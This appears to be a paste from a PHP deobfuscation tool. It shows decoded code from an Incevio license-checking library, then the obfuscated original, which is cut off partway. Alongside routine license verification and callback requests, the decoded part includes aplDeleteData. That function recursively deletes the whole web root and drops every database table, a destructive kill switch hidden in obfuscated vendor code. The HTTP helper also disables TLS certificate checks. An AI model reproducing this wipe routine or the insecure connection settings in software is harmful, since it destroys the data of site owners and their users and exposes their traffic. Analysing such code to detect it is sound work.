    if ($update_lcd_value == 1) { 
        goto HpZrT; 
    } 
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    goto vrwP1; 
    HpZrT: 
    $LCD = date("Y-m-d"); 
    vrwP1: 
    $INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); 
    $LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto xIiEw; 
    } 
    $stmt = mysqli_prepare($MYSQLI_LINK, "UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?"); 
    if (!$stmt) { 
        goto FvvuO; 
    } 
    mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY); 
    $exec = mysqli_stmt_execute($stmt); 
    $affected_rows = mysqli_stmt_affected_rows($stmt); 
    if (!($affected_rows > 0)) { 
        goto eZU3k; 
    } 
    $updated_records = $updated_records + $affected_rows; 
    eZU3k: 
    mysqli_stmt_close($stmt); 
    FvvuO: 
    if (!($updated_records < 1)) { 
        goto QJfFZ; 
    } 
    echo APL_NOTIFICATION_DATABASE_WRITE_ERROR; 
    exit; 
    QJfFZ: xIiEw: 
    if (!(APL_STORAGE == "FILE")) { 
        goto Ego4O; 
    } 
    $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); 
    $fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>"); 
    if (!($fwrite === false)) { 
        goto H37Kq; 
    } 
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; 
    exit; 
    H37Kq: 
    @fclose($handle); 
    Ego4O: xcI0Z: bCqPn: RlofD: 
    if (!($notifications_array["notification_case"] != "notification_license_ok")) { 
        goto OEEhm; 
    } 
    echo "<br/><br/>"; 
    echo "License is not" . " installed yet" . " or corrupted. Please" . " contact" . " support " . "team "; 
    echo " <a href="" . get_license_reset_url() . "">" . trans("app.update_app_license") . "</a>"; 
    exit; 
    OEEhm: 
    return $notifications_array; 
} 
 
function aplVerifySupport($MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto Yxj33; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto PXnqV; 
    Yxj33: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto Rmw7h; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto x070g; 
    Rmw7h: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_support.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    x070g: PXnqV: 
    return $notifications_array; 
} 
 
function aplVerifyUpdates($MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto i62QY; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto L3zCC; 
    i62QY: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto OC5ZU; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto OJoa1; 
    OC5ZU: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    OJoa1: L3zCC: 
    return $notifications_array; 
} 
 
function incevioUpdateLicense($MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto bLghH; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto I569b; 
    bLghH: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto Jg5Ku; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto Fuiu5; 
    Jg5Ku: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_update.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    Fuiu5: I569b: 
    return $notifications_array; 
} 
 
function incevioUninstallLicense($MYSQLI_LINK = null) 
{ 
    $notifications_array = array(); 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto SrSzX; 
    } 
    $notifications_array["notification_case"] = "notification_script_corrupted"; 
    $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); 
    goto DGoZ0; 
    SrSzX: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto lfRR3; 
    } 
    $notifications_array["notification_case"] = "notification_license_corrupted"; 
    $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto Ai7fg; 
    lfRR3: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); 
    $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $post_info, $ROOT_URL); 
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); 
    if (!($notifications_array["notification_case"] == "notification_license_ok")) { 
        goto sqIUr; 
    } 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto uM7t2; 
    } 
    mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE); 
    mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE); 
    uM7t2: 
    if (!(APL_STORAGE == "FILE")) { 
        goto h4m__; 
    } 
    $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); 
    @fclose($handle); 
    h4m__: sqIUr: Ai7fg: DGoZ0: 
    return $notifications_array; 
} 
 
function aplDeleteData($MYSQLI_LINK = null) 
{ 
    if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"])) { 
        goto GxZUQ; 
    } 
    $root_directory = dirname(__DIR__); 
    goto LFh2L; 
    GxZUQ: 
    $root_directory = $_SERVER["DOCUMENT_ROOT"]; 
    LFh2L: 
    foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { 
        $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 
        SQYeE: 
    } 
    ZLK6S: 
    rmdir($root_directory); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto Lowlb; 
    } 
    $database_tables_array = array(); 
    $table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES"); 
    lygGt: 
    if (!($table_list_row = mysqli_fetch_row($table_list_results))) { 
        goto DEfX3; 
    } 
    $database_tables_array[] = $table_list_row[0]; 
    goto lygGt; 
    DEfX3: 
    if (empty($database_tables_array)) { 
        goto Z37w5; 
    } 
    foreach ($database_tables_array as $table_name) { 
        mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}"); 
        Bq5M9: 
    } 
    q0OFW: 
    foreach ($database_tables_array as $table_name) { 
        mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}"); 
        rkNFh: 
    } 
    K9lto: Z37w5: Lowlb: 
    exit; 
} ?>

Did this file decode correctly?

Original Code

<?php
/*
* Copyright (C) Incevio Systems, Inc - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Munna Khan <[email protected]>, September 2018
*/
function aplCustomEncrypt($string, $key)
{
    $encrypted_string = null;
    if (!(!empty($string) && !empty($key))) {
        goto BzjF3;
    }
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("\141\x65\163\x2d\x32\65\x36\55\143\x62\x63"));
    $encrypted_string = openssl_encrypt($string, "\x61\145\163\55\62\65\x36\x2d\143\x62\x63", $key, 0, $iv);
    $encrypted_string = base64_encode($encrypted_string . "\x3a\x3a" . $iv);
    BzjF3:
    return $encrypted_string;
}

function aplCustomDecrypt($string, $key)
{
    $decrypted_string = null;
    if (!(!empty($string) && !empty($key))) {
        goto shs5O;
    }
    $string = base64_decode($string);
    if (!stristr($string, "\72\72")) {
        goto E1OdL;
    }
    $string_iv_array = explode("\72\72", $string, 2);
    if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) {
        goto lVitP;
    }
    list($encrypted_string, $iv) = $string_iv_array;
    $decrypted_string = openssl_decrypt($encrypted_string, "\141\x65\163\x2d\x32\65\66\x2d\x63\x62\143", $key, 0, $iv);
    lVitP: E1OdL: shs5O:
    return $decrypted_string;
}

function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF)
{
    $result = false;
    if (!(!is_float($number) && filter_var($number, FILTER_VALIDATE_INT, array("\x6f\x70\164\x69\x6f\x6e\x73" => array("\155\x69\156\x5f\162\141\156\x67\x65" => $min_value, "\155\x61\x78\x5f\x72\141\x6e\x67\x65" => $max_value))) !== false)) {
        goto LLUNW;
    }
    $result = true;
    LLUNW:
    return $result;
}

function aplValidateRawDomain($url)
{
    $result = false;
    if (empty($url)) {
        goto oyXKx;
    }
    if (preg_match("\x2f\x5e\x5b\x61\55\172\60\x2d\71\x2d\56\x5d\x2b\x5c\x2e\x5b\141\55\172\134\56\135\x7b\62\x2c\67\175\x24\x2f", strtolower($url))) {
        goto bZLsK;
    }
    $result = false;
    goto IoKSG;
    bZLsK:
    $result = true;
    IoKSG: oyXKx:
    return $result;
}

function aplGetCurrentUrl($remove_last_slash = null)
{
    $protocol = "\150\164\164\160";
    $host = null;
    $script = null;
    $params = null;
    $current_url = null;
    if (!(isset($_SERVER["\110\124\124\120\123"]) && $_SERVER["\110\124\x54\x50\x53"] !== "\157\x66\146" || isset($_SERVER["\110\x54\124\120\137\x58\x5f\x46\117\122\x57\101\x52\104\105\x44\x5f\x50\x52\117\124\117"]) && $_SERVER["\110\x54\124\x50\137\x58\137\x46\117\x52\x57\101\x52\x44\x45\x44\137\120\x52\x4f\x54\117"] == "\150\164\x74\160\x73")) {
        goto ccmJf;
    }
    $protocol = "\150\164\x74\x70\x73";
    ccmJf:
    if (!isset($_SERVER["\x48\x54\x54\x50\137\x48\117\123\x54"])) {
        goto sk3V6;
    }
    $host = $_SERVER["\110\x54\x54\x50\137\x48\117\123\124"];
    sk3V6:
    if (!isset($_SERVER["\123\103\122\x49\120\124\137\116\101\115\105"])) {
        goto Mj2EI;
    }
    $script = $_SERVER["\x53\x43\x52\111\120\x54\137\116\x41\115\x45"];
    Mj2EI:
    if (!isset($_SERVER["\121\x55\105\x52\x59\x5f\123\x54\x52\111\x4e\107"])) {
        goto csXqc;
    }
    $params = $_SERVER["\121\125\105\122\x59\x5f\x53\x54\122\111\116\107"];
    csXqc:
    if (!(!empty($protocol) && !empty($host) && !empty($script))) {
        goto iXYT0;
    }
    $current_url = $protocol . "\72\57\x2f" . $host . $script;
    if (empty($params)) {
        goto MeIps;
    }
    $current_url .= "\77" . $params;
    MeIps:
    if (!($remove_last_slash == 1)) {
        goto ios8D;
    }
    uF7Le:
    if (!(substr($current_url, -1) == "\x2f")) {
        goto qJk1N;
    }
    $current_url = substr($current_url, 0, -1);
    goto uF7Le;
    qJk1N: ios8D: iXYT0:
    return $current_url;
}

function aplGetRawDomain($url)
{
    $raw_domain = null;
    if (empty($url)) {
        goto gNbkP;
    }
    $url_array = parse_url($url);
    if (!empty($url_array["\163\x63\x68\145\x6d\145"])) {
        goto vpaVN;
    }
    $url = "\150\164\x74\x70\72\57\x2f" . $url;
    $url_array = parse_url($url);
    vpaVN:
    if (empty($url_array["\150\x6f\163\x74"])) {
        goto WnM6P;
    }
    $raw_domain = $url_array["\x68\x6f\x73\x74"];
    $raw_domain = trim(str_ireplace("\x77\x77\x77\56", '', filter_var($raw_domain, FILTER_SANITIZE_URL)));
    WnM6P: gNbkP:
    return $raw_domain;
}

function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash)
{
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        goto kEop1;
    }
    $url_array = parse_url($url);
    $url = str_ireplace($url_array["\163\x63\x68\145\155\x65"] . "\x3a\x2f\57", '', $url);
    if ($remove_path == 1) {
        goto fQe_b;
    }
    $last_slash_position = strripos($url, "\57");
    if (!($last_slash_position > 0)) {
        goto zuw0h;
    }
    $url = substr($url, 0, $last_slash_position + 1);
    zuw0h:
    goto K1WFz;
    fQe_b:
    $first_slash_position = stripos($url, "\x2f");
    if (!($first_slash_position > 0)) {
        goto zR5Kt;
    }
    $url = substr($url, 0, $first_slash_position + 1);
    zR5Kt: K1WFz:
    if (!($remove_scheme != 1)) {
        goto Bgqol;
    }
    $url = $url_array["\x73\x63\150\145\155\x65"] . "\72\x2f\x2f" . $url;
    Bgqol:
    if (!($remove_www == 1)) {
        goto nzRtk;
    }
    $url = str_ireplace("\167\x77\x77\56", '', $url);
    nzRtk:
    if (!($remove_last_slash == 1)) {
        goto BJ9U2;
    }
    n5D1P:
    if (!(substr($url, -1) == "\57")) {
        goto KR24s;
    }
    $url = substr($url, 0, -1);
    goto n5D1P;
    KR24s: BJ9U2: kEop1:
    return trim($url);
}

function aplCustomPost($url, $post_info = null, $refer = null)
{
    $user_agent = "\x70\x68\160\155\151\x6c\154\x69\157\x6e\x20\143\125\122\x4c";
    $connect_timeout = 10;
    $server_response_array = array();
    $formatted_headers_array = array();
    if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) {
        goto cp5wk;
    }
    if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) {
        goto CKq25;
    }
    $refer = $url;
    CKq25:
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
    curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
    curl_setopt($ch, CURLOPT_REFERER, $refer);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (&$formatted_headers_array) {
        $len = strlen($header);
        $header = explode("\x3a", $header, 2);
        if (!(count($header) < 2)) {
            goto RfJ49;
        }
        return $len;
        RfJ49:
        $name = strtolower(trim($header[0]));
        $formatted_headers_array[$name] = trim($header[1]);
        return $len;
    });
    $result = curl_exec($ch);
    $curl_error = curl_error($ch);
    curl_close($ch);
    $server_response_array["\x68\x65\141\x64\145\x72\163"] = $formatted_headers_array;
    $server_response_array["\x65\x72\162\157\x72"] = $curl_error;
    $server_response_array["\x62\157\144\x79"] = $result;
    cp5wk:
    return $server_response_array;
}

function aplVerifyDateTime($datetime, $format)
{
    $result = false;
    if (!(!empty($datetime) && !empty($format))) {
        goto nguIc;
    }
    $datetime = DateTime::createFromFormat($format, $datetime);
    $errors = DateTime::getLastErrors();
    if (!($datetime && empty($errors["\x77\x61\162\x6e\151\156\147\137\143\x6f\x75\x6e\x74"]))) {
        goto QquZj;
    }
    $result = true;
    QquZj: nguIc:
    return $result;
}

function aplGetDaysBetweenDates($date_from, $date_to)
{
    $number_of_days = 0;
    if (!(aplVerifyDateTime($date_from, "\x59\x2d\155\55\144") && aplVerifyDateTime($date_to, "\x59\x2d\155\x2d\x64"))) {
        goto vdxBB;
    }
    $date_to = new DateTime($date_to);
    $date_from = new DateTime($date_from);
    $number_of_days = $date_from->diff($date_to)->format("\x25\x61");
    vdxBB:
    return $number_of_days;
}

function aplParseXmlTags($content, $tag_name)
{
    $parsed_value = null;
    if (!(!empty($content) && !empty($tag_name))) {
        goto XmQr9;
    }
    preg_match_all("\57\74" . preg_quote($tag_name, "\x2f") . "\x3e\50\56\52\x3f\x29\74\x5c\x2f" . preg_quote($tag_name, "\x2f") . "\76\57\151\x6d\163", $content, $output_array, PREG_SET_ORDER);
    if (empty($output_array[0][1])) {
        goto U2apD;
    }
    $parsed_value = trim($output_array[0][1]);
    U2apD: XmQr9:
    return $parsed_value;
}

function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
    $notifications_array = array();
    if (!empty($content_array)) {
        goto JumyO;
    }
    $notifications_array["\x6e\157\x74\151\x66\151\143\141\164\x69\x6f\x6e\x5f\143\141\x73\145"] = "\156\157\164\x69\x66\x69\x63\141\164\151\157\x6e\137\156\157\x5f\x63\x6f\x6e\x6e\145\x63\164\x69\157\156";
    $notifications_array["\x6e\157\164\151\146\x69\x63\x61\164\x69\157\x6e\137\164\x65\170\164"] = APL_NOTIFICATION_NO_CONNECTION;
    goto lT9i4;
    JumyO:
    if (!empty($content_array["\150\145\141\144\145\x72\x73"]["\156\157\164\151\x66\x69\x63\141\x74\x69\x6f\x6e\x5f\x73\145\162\x76\x65\x72\137\x73\151\147\156\x61\164\165\x72\x65"]) && aplVerifyServerSignature($content_array["\150\145\141\x64\x65\162\x73"]["\156\157\x74\151\x66\151\143\141\x74\x69\x6f\156\137\163\x65\x72\166\x65\162\137\x73\x69\x67\156\141\x74\x75\x72\145"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product)) {
        goto TpORv;
    }
    $notifications_array["\156\157\164\151\x66\x69\x63\x61\x74\x69\157\156\137\x63\141\163\x65"] = "\156\157\164\x69\146\151\x63\141\164\x69\x6f\x6e\x5f\x69\x6e\166\x61\154\x69\x64\x5f\x72\x65\x73\160\x6f\156\x73\145";
    $notifications_array["\156\157\x74\151\x66\x69\143\x61\x74\x69\157\x6e\137\164\145\x78\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
    goto YflnD;
    TpORv:
    $notifications_array["\x6e\157\x74\x69\x66\x69\143\x61\164\x69\157\156\x5f\x63\x61\163\x65"] = $content_array["\150\145\x61\x64\145\162\163"]["\156\x6f\164\151\146\151\143\x61\164\151\x6f\x6e\x5f\x63\x61\163\145"];
    $notifications_array["\x6e\157\x74\151\x66\151\x63\x61\164\151\x6f\156\137\164\x65\170\x74"] = $content_array["\x68\145\141\x64\145\x72\x73"]["\156\x6f\x74\151\x66\151\x63\x61\x74\x69\x6f\156\137\x74\x65\170\164"];
    if (empty($content_array["\150\145\x61\x64\145\162\x73"]["\156\x6f\x74\151\x66\151\x63\141\x74\151\157\x6e\x5f\x64\x61\164\x61"])) {
        goto VoikV;
    }
    $notifications_array["\156\x6f\x74\151\x66\x69\x63\141\164\x69\157\x6e\x5f\x64\x61\x74\x61"] = json_decode($content_array["\x68\145\141\144\145\x72\163"]["\156\x6f\x74\151\146\151\x63\x61\164\151\x6f\x6e\137\144\141\164\x61"], true);
    VoikV: YflnD: lT9i4:
    return $notifications_array;
}

function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
    $script_signature = null;
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
    $product = $product == Null ? APL_PRODUCT_ID : $product;
    if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) {
        goto W0E43;
    }
    $script_signature = hash("\163\x68\x61\x32\x35\x36", gmdate("\x59\x2d\x6d\55\144") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . $product . implode('', $root_ips_array));
    W0E43:
    return $script_signature;
}

function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
    $result = false;
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
    $product = $product == Null ? APL_PRODUCT_ID : $product;
    if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) {
        goto bRqNu;
    }
    if (!(hash("\x73\150\x61\x32\x35\66", implode('', $root_ips_array) . $product . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("\x59\x2d\155\55\x64")) == $notification_server_signature)) {
        goto h8DsE;
    }
    $result = true;
    h8DsE: bRqNu:
    return $result;
}

function aplCheckSettings()
{
    $notifications_array = array();
    if (!(empty(APL_SALT) || APL_SALT == "\x73\x6f\x6d\145\x5f\x72\141\156\144\x6f\x6d\137\164\x65\170\x74")) {
        goto uTfMB;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
    uTfMB:
    if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr(APL_ROOT_URL, -1)))) {
        goto XRqG3;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
    XRqG3:
    if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) {
        goto GtPLQ;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
    GtPLQ:
    if (aplValidateIntegerValue(APL_DAYS, 1, 365)) {
        goto DregB;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
    DregB:
    if (!(APL_STORAGE != "\x44\101\x54\101\x42\x41\x53\x45" && APL_STORAGE != "\x46\111\114\x45")) {
        goto hh3BJ;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
    hh3BJ:
    if (!(APL_STORAGE == "\x44\101\x54\101\x42\x41\123\105" && !ctype_alnum(str_ireplace(array("\x5f"), '', APL_DATABASE_TABLE)))) {
        goto C4tBE;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
    C4tBE:
    if (!(APL_STORAGE == "\x46\x49\114\105" && !@is_writable(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION))) {
        goto vWDU7;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
    vWDU7:
    if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))) {
        goto MvcTo;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
    MvcTo:
    if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL))))) {
        goto A40m6;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
    A40m6:
    if (!(defined("\x41\120\x4c\x5f\x52\117\x4f\x54\137\x4e\x41\x4d\105\123\x45\122\x56\x45\x52\123") && !empty(APL_ROOT_NAMESERVERS))) {
        goto SFidQ;
    }
    foreach (APL_ROOT_NAMESERVERS as $nameserver) {
        if (aplValidateRawDomain($nameserver)) {
            goto g7CpK;
        }
        $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
        goto RUX0B;
        g7CpK: wGVYR:
    }
    RUX0B: SFidQ:
    if (!(defined("\101\x50\x4c\137\122\x4f\x4f\124\137\x4e\101\115\x45\x53\x45\122\x56\x45\122\x53") && !empty(APL_ROOT_NAMESERVERS))) {
        goto eur2Q;
    }
    $apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
    $fetched_nameservers_array = array();
    $dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
    foreach ($dns_records_array as $record) {
        $fetched_nameservers_array[] = $record["\x74\141\162\x67\x65\164"];
        RLFGR:
    }
    OVF_L:
    $apl_root_nameservers_array = array_map("\x73\x74\x72\x74\157\154\x6f\167\x65\x72", $apl_root_nameservers_array);
    $fetched_nameservers_array = array_map("\x73\164\x72\x74\x6f\154\x6f\167\145\x72", $fetched_nameservers_array);
    sort($apl_root_nameservers_array);
    sort($fetched_nameservers_array);
    if (!($apl_root_nameservers_array != $fetched_nameservers_array)) {
        goto AoL8w;
    }
    $notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
    AoL8w: eur2Q:
    return $notifications_array;
}

function aplParseLicenseFile()
{
    $license_data_array = array();
    if (!@is_readable(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION)) {
        goto oT8jM;
    }
    $file_content = file_get_contents(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION);
    preg_match_all("\57\74\50\133\x41\55\x5a\x5f\x5d\x2b\51\76\50\x2e\x2a\x3f\x29\x3c\x5c\57\x28\x5b\101\55\x5a\x5f\x5d\53\51\x3e\x2f", $file_content, $matches, PREG_SET_ORDER);
    if (empty($matches)) {
        goto zIKvg;
    }
    foreach ($matches as $value) {
        if (!(!empty($value[1]) && $value[1] == $value[3])) {
            goto jQ_n6;
        }
        $license_data_array[$value[1]] = $value[2];
        jQ_n6: YuHQb:
    }
    tRDKH: zIKvg: oT8jM:
    return $license_data_array;
}

function aplGetLicenseData($MYSQLI_LINK = null)
{
    $settings_row = array();
    if (!(APL_STORAGE == "\104\101\x54\x41\x42\x41\x53\x45")) {
        goto FVL7o;
    }
    $table_exist = @mysqli_query($MYSQLI_LINK, "\123\110\x4f\x57\40\x54\x41\x42\x4c\x45\123\40\x4c\x49\113\105\40\47" . APL_DATABASE_TABLE . "\x27");
    if (!@mysqli_fetch_assoc($table_exist)) {
        goto tZ2Yt;
    }
    $settings_results = @mysqli_query($MYSQLI_LINK, "\123\x45\x4c\x45\x43\x54\40\x2a\40\106\122\117\115\40" . APL_DATABASE_TABLE);
    $settings_row = @mysqli_fetch_assoc($settings_results);
    tZ2Yt: FVL7o:
    if (!(APL_STORAGE == "\x46\111\114\x45")) {
        goto VKtMl;
    }
    $settings_row = aplParseLicenseFile();
    VKtMl:
    return $settings_row;
}

function aplCheckConnection()
{
    $notifications_array = array();
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\154\x5f\143\x61\154\x6c\142\141\x63\x6b\x73\x2f\x63\x6f\156\156\x65\143\x74\x69\x6f\156\137\x74\145\x73\x74\x2e\160\x68\160", "\160\x72\157\144\x75\x63\164\137\151\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6f\x6e\x6e\x65\x63\x74\x69\157\156\137\150\141\163\x68\x3d" . rawurlencode(hash("\163\150\x61\62\x35\x36", "\143\x6f\x6e\x6e\x65\143\164\151\157\x6e\137\x74\x65\163\x74")));
    if (!empty($content_array)) {
        goto PL9MC;
    }
